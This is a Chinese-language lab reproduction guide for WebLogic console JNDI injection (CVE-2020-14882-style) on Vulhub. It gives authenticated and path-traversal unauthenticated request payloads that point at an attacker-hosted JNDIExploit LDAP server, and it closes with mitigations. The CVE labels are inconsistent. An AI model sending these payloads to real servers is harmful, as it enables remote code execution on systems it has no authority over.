影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
-
环境准备
靶机直接使用Vulhub/Weblogic/CVE-2017-10271/
$ cd vulhub/weblogic/CVE-2020-14882/
$ docker-compose up -d
访问看到这个404页面说明部署成功
漏洞复现
- 先在攻击机上使用JNDIExploit启动LDAP,此时会同时开启LDAP和HTTP服务
$ java -jar JNDIExploit.jar -i <VPS_IP>
授权访问后台JNDI注入
- 使用浏览器访问控制台:
http://<IP:PORT>/console/login/LoginForm.jsp
进行登录。默认账号为weblogic
,密码可在靶机使用以下命令查询:
$ docker-compose logs | grep password
- 登录后访问:
http://<IP:PORT>/console/console.portal
可进入控制台。使用Burp抓包,发送到Repeater
- 在
Repeater
中修改请求为以下Payload,需要注意的是,服务器IP格式为xxx.xxx.xxx;xxx
,最后一段是以分号;
分割的POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
- 尝试执行CMD命令
未授权访问后台JNDI注入
- 和前面差不多,只不过此处访问的是
http://<IP:PORT>/console/css/%252e%252e%252f/consolejndi.portal
- 然后使用Burp抓包并发送到
Repeater
,同样需要注意服务器IP格式为xxx.xxx.xxx;xxx
,Payload如下
POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
- 这里直接执行命令吧
修复方案
- 禁用T3协议:如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响
- 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。
- 在连接筛选器中输入:
weblogic.security.net.ConnectionFilterImpl
,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
- 禁止启用IIOP:登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效
- 临时关闭后台
/console/console.portal
对外访问 - 升级官方安全补丁